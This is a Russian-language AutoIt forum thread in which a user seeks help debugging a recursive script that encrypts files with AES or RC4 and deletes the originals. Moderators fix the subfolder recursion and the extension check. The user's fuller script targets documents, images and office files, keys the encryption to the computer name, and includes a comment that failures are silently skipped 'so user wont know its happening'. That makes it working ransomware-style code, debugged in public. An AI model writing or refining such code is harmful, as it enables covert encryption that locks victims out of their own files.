Что нового

Удаление файла из под-папки непонятно. помогите

tonycstech

Новичок
Сообщения
94
Репутация
3
код прост. Смотрим в папку и ищем каждый файл и шифруем.
Если в папке находится другая папка, то функция запускается с начала с параметром уже новой папки, так чтобы и там все файлы зашифрвать.
Вопрос, почему файл в под-паки шифруется и стерается после шифровки игнорируя проверку ? If StringInStr ($File,".crypt") = 0 Then
Если файл зашифрован или нет, и стерать только если нет. Но тем не менее, стерает зашифрованый файл НО только в под-папке. Другие файлы на месте.


Код:
#include <Crypt.au3>

$Pass = "password"
$Alg = $CALG_AES_128
$Root = @DesktopDir & "\Encryption Test"

_FindTarget($Root)
Func _FindTarget($Target)
    $Search = FileFindFirstFile ($Target & "\*.*")
    While 1
        $File = FileFindNextFile ($Search)
        If $File = "" Then ExitLoop ;КОНЕЦ ПОИСКА ДОСТИГНУТ. Выходим из цепи.
        If @extended = 1 Then _FindTarget($Target & "\" & $File) ;ПЕРЕЗАПУСК ФУНКЦИИ УЖЕ В ПОД-ПАПКЕ КАК ПАРАМЕТР
        If StringInStr ($File,".crypt") = 0 Then ;ФАЙЛ НЕ ЗАШИФРОВАН
            _Crypt_EncryptFile ($Target & "\" & $File,$Target & "\" & $File & ".crypt",$Pass,$Alg) ;ШИФРОВАТЬ
            FileDelete ($Target & "\" & $File) :УДАЛИТЬ ОРИГИНАЛ
        EndIf
    WEnd
EndFunc   ;==>_Encrypt
 

joiner

Модератор
Локальный модератор
Сообщения
3,556
Репутация
628
Код:
#include <Crypt.au3>

$Pass = "password"
$Alg = $CALG_AES_128
$Root = @DesktopDir & "\Encryption Test"

_FindTarget($Root)
Func _FindTarget($Target)
    $Search = FileFindFirstFile($Target & "\*")
    While 1
        $File = FileFindNextFile($Search)
        If $File = "" Then ExitLoop ;КОНЕЦ ПОИСКА ДОСТИГНУТ. Выходим из цепи.
        If @extended Then
            _FindTarget($Target & "\" & $File) ;ПЕРЕЗАПУСК ФУНКЦИИ УЖЕ В ПОД-ПАПКЕ КАК ПАРАМЕТР
        Else
            If Not (StringRight($File, 6) = '.crypt') Then ;ФАЙЛ НЕ ЗАШИФРОВАН
                _Crypt_EncryptFile($Target & "\" & $File, $Target & "\" & $File & ".crypt", $Pass, $Alg) ;ШИФРОВАТЬ
                FileDelete($Target & "\" & $File) ;УДАЛИТЬ ОРИГИНАЛ
            EndIf
        EndIf
    WEnd
EndFunc   ;==>_FindTarget
 
Автор
T

tonycstech

Новичок
Сообщения
94
Репутация
3
Нинакого обьяснения :hmm:
Неужели
@extended работает без = 1 ?
Например этот код работат без проблем. Я его в принципе скопировал только не пойму что не так.


Код:
#include <Crypt.au3>

$TargetRoot = @DesktopDir & "\Encryption Test" ;root folder from where to start
If FileExists ($TargetRoot) = 0 Then Exit(MsgBox(0,'','no target root'))
$EncryptionPass = @ComputerName
$MaxSizeToEncrypt = 10485760 ;10B
$EncryptionCount = 0 ;used to count how many files were incrypted
$EncryptionFailedCount = 0

_FindFilesToEncrypt($TargetRoot) ;This will find files for encryption

$Prompt = MsgBox (4,"Question",$EncryptionCount & " Files were encrypted. Decrypt now ?")
$EncryptionCount = 0 ;reset count
If $Prompt = 6 Then
    _DecryptEncryptedFiles(@DesktopDir & "\Encryption Test") ;This will decrypt files back to normal
EndIf

Func _FindFilesToEncrypt($Target) ;Select specific files for encryption
    $Search = FileFindFirstFile($Target & "\*")
    While 1
        $File = FileFindNextFile($Search)
        If $File = "" Then ExitLoop
        If @Extended = 1 Then
            ;This is folder. Start this function from begining using subfolder as a starting point
            _FindFilesToEncrypt($Target & "\" & $File) ;search starts in subdirectory now
        EndIf
        #Region Specify File types to encrypt
        If StringInStr ($File,".crypt") = 0 And StringInStr ($File,".txt") > 0 Then _Encrypt($Target & "\" & $File) ;text
        If StringInStr ($File,".crypt") = 0 And StringInStr ($File,".jpg") > 0 Then _Encrypt($Target & "\" & $File) ;picture
        If StringInStr ($File,".crypt") = 0 And StringInStr ($File,".jpeg") > 0 Then _Encrypt($Target & "\" & $File) ;picture
        If StringInStr ($File,".crypt") = 0 And StringInStr ($File,".rtf") > 0 Then _Encrypt($Target & "\" & $File) ;rich text document
        If StringInStr ($File,".crypt") = 0 And StringInStr ($File,".doc") > 0 Then _Encrypt($Target & "\" & $File) ;word document
        If StringInStr ($File,".crypt") = 0 And StringInStr ($File,".docx") > 0 Then _Encrypt($Target & "\" & $File) ;word document
        If StringInStr ($File,".crypt") = 0 And StringInStr ($File,".xls") > 0 Then _Encrypt($Target & "\" & $File) ;excel
        If StringInStr ($File,".crypt") = 0 And StringInStr ($File,".xlsx") > 0 Then _Encrypt($Target & "\" & $File) ;excel
        If StringInStr ($File,".crypt") = 0 And StringInStr ($File,".ppt") > 0 Then _Encrypt($Target & "\" & $File) ;power point
        If StringInStr ($File,".crypt") = 0 And StringInStr ($File,".pptx") > 0 Then _Encrypt($Target & "\" & $File) ;power point
        If StringInStr ($File,".crypt") = 0 And StringInStr ($File,".pub") > 0 Then _Encrypt($Target & "\" & $File) ;publisher
        If StringInStr ($File,".crypt") = 0 And StringInStr ($File,".accdb") > 0 Then _Encrypt($Target & "\" & $File) ;access databasse
        #EndRegion
    WEnd
EndFunc   ;==>_Start

Func _Encrypt($Target) ;Encrypt selected file
    If FileGetSize ($Target) < $MaxSizeToEncrypt Then ;only encrypt files less then 10MB for speed reasons
        $Encrypt = _Crypt_EncryptFile ($Target,$Target & ".crypt",$EncryptionPass,$CALG_RC4) ;also renames file extension so i can decrypt it if needed
        If $Encrypt = True Then
            ConsoleWrite (@CRLF & "Succeeded: " & $Target)
            $EncryptionCount = $EncryptionCount+1
            FileDelete ($Target) ;Sometimes cannot delete original file. Need system
        Else
            ConsoleWrite (@CRLF & "Failed: " & $Target)
            $EncryptionFailedCount = $EncryptionFailedCount+1
            ;Error, file was not encrypted. Maybe it was used by a process or something.
            ;No worries. I dont want to enforce encryption so user wont know its happening.
        EndIf
    EndIf
EndFunc

Func _DecryptEncryptedFiles($Target) ;Decrypt all found files in given directory including subdirectories
    $Search = FileFindFirstFile($Target & "\*")
    While 1
        $File = FileFindNextFile($Search)
        If $File = "" Then ExitLoop
        If @extended = 1 Then
            ;This is folder. Start this function from begining using subfolder as a starting point
            _DecryptEncryptedFiles($Target & "\" & $File) ;search starts in subdirectory now
        EndIf
        If StringRight($File, 6) = ".crypt" Then ;This is encrypted file
            $OriginalName = StringTrimRight($Target & "\" & $File, 6) ;remove .crypt from file name
            $Decrypt = _Crypt_DecryptFile($Target & "\" & $File, $OriginalName, $EncryptionPass, $CALG_RC4)
            If $Decrypt = True Then
                $EncryptionCount = $EncryptionCount+1
                FileDelete($Target & "\" & $File) ;delete old encrypted file if decryption was success
                ConsoleWrite(@CRLF & $Target & "\" & $File & " decrypted")
            EndIf
        EndIf
    WEnd
    MsgBox (0,'Finished',$EncryptionCount & ' files were decrypted')
    $EncryptionCount = 0 ;reset count
EndFunc   ;==>_Decrypt
 

ra4o

AutoIT Гуру
Сообщения
1,165
Репутация
246
Действие после оператора If будет выполняться при истинности выражения в условии , таким образом , при условии , что найден каталог @extended примет значение "1" и действие выполнится, при условии , что не найден файл -@extended примет значение "0", что соответсвует "False" , и действие не выполнится.
 
Последнее редактирование:

joiner

Модератор
Локальный модератор
Сообщения
3,556
Репутация
628
твой код
Код:
FileFindFirstFile($Target & "\*.*")

код из примера
Код:
FileFindFirstFile($Target & "\*")

параметр маска в функции лучше использовать по прямому назначению

сравни

Код:
Local $Root = "путь к папке\"; слэш обязателен
Local $result
_FindTarget($result, $Root)
ConsoleWrite($result)

Func _FindTarget(ByRef $result, $Target);в этом случае возвращаются и папки и файлы
    $Search = FileFindFirstFile($Target & "*")
    While 1
        $File = FileFindNextFile($Search)
        If @error Then ExitLoop
        If @extended Then _FindTarget($result, $Target & $File & '\')
        $result &= $Target & $File & @LF
    WEnd
    FileClose($Search)
EndFunc   ;==>_FindTarget

и

Код:
Local $Root = "путь к папке\"; слэш обязателен
Local $result
_FindTarget($result, $Root)
ConsoleWrite($result)

Func _FindTarget(ByRef $result, $Target);в этом случае возвращаются только файлы
    $Search = FileFindFirstFile($Target & "*")
    While 1
        $File = FileFindNextFile($Search)
        If @error Then ExitLoop
        If @extended Then
            _FindTarget($result, $Target & $File & '\')
        Else
            $result &= $Target & $File & @LF
        EndIf
    WEnd
    FileClose($Search)
EndFunc   ;==>_FindTarget

еще момент: преобразовывать файл( шифровать, например) лучше после поиска. получаем массив найденных файлов и делаем с ними что угодно))
 
Верх